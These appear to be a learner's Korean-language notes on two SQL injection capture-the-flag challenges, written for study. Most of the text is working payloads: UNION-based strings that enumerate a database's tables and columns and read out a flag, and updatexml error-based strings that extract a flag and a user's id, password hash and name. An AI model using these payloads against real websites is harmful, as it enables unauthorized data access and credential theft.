SELECT _____ FROM ______ WHERE NAME LIKE '%___%'
tic%' and '1%'='1
tic%' order by 5 #
4까지만 데이터 출력이 가능하므로 컬럼의 수는 4개라는 것을 파악
데이터의 위치를 화면에서 전부 확인가능
확인한 DB 이름 : sqli_1
tic%' union select '1',database(),'3','4
확인한 테이블 이름 : flag_table
, user_info
tic%' union select '1',table_name,'3','4' from information_schema.tables where table_schema = 'sqli_1' #
확인한 컬럼 이름 : flag_table 에는 flag
존재, user_info 테이블에는 level
, rank_point
, rate
컬럼 존재
tic%' union select '1',column_name,'3','4' from information_schema.columns where table_name='flag_table' #
tic%' union select '1',flag,'3','4' from flag_table #
SELECT ____ FROM ____ WHERE id=' '
updatexml
사용, 논리 에러 찾아내기sqli_2
1' and updatexml(null,concat(0x3a,(select database())),null) and '1'='1
// flag 테이블
1' and updatexml(null,concat(0x3a,(select table_name from information_schema.tables where table_schema = 'sqli_2' limit 0,1)),null) and '1'='1
// member 테이블
1' and updatexml(null,concat(0x3a,(select table_name from information_schema.tables where table_schema = 'sqli_2' limit 1,1)),null) and '1'='1
1' and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_name='flag_table' limit 0,1)),null) and '1'='1
// member 테이블의 컬럼 id, pass, name
1' and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_name='member' limit 0,1)),null) and '1'='1
// flag_table의 flag 컬럼 데이터 출력
1' and updatexml(null,concat(0x3a,(select flag from flag_table limit 0,1)),null) and '1'='1
// member 데이터
1' and updatexml(null,concat(0x3a,(select id from member limit 0,1)),null) and '1'='1
// id = mario
1' and updatexml(null,concat(0x3a,(select pass from member limit 0,1)),null) and '1'='1
//66566cbac5673baf9217ccf7fcfa3d1
1' and updatexml(null,concat(0x3a,(select name from member limit 0,1)),null) and '1'='1
// mario
- SQL injection에 대한 전반적, 세부적 이해 더 필요!
- Union SQL injection, Error Based SQL injection 좀 더 연습하기
- DB 데이터 추출 1,2 CTF 사이트 구현해보기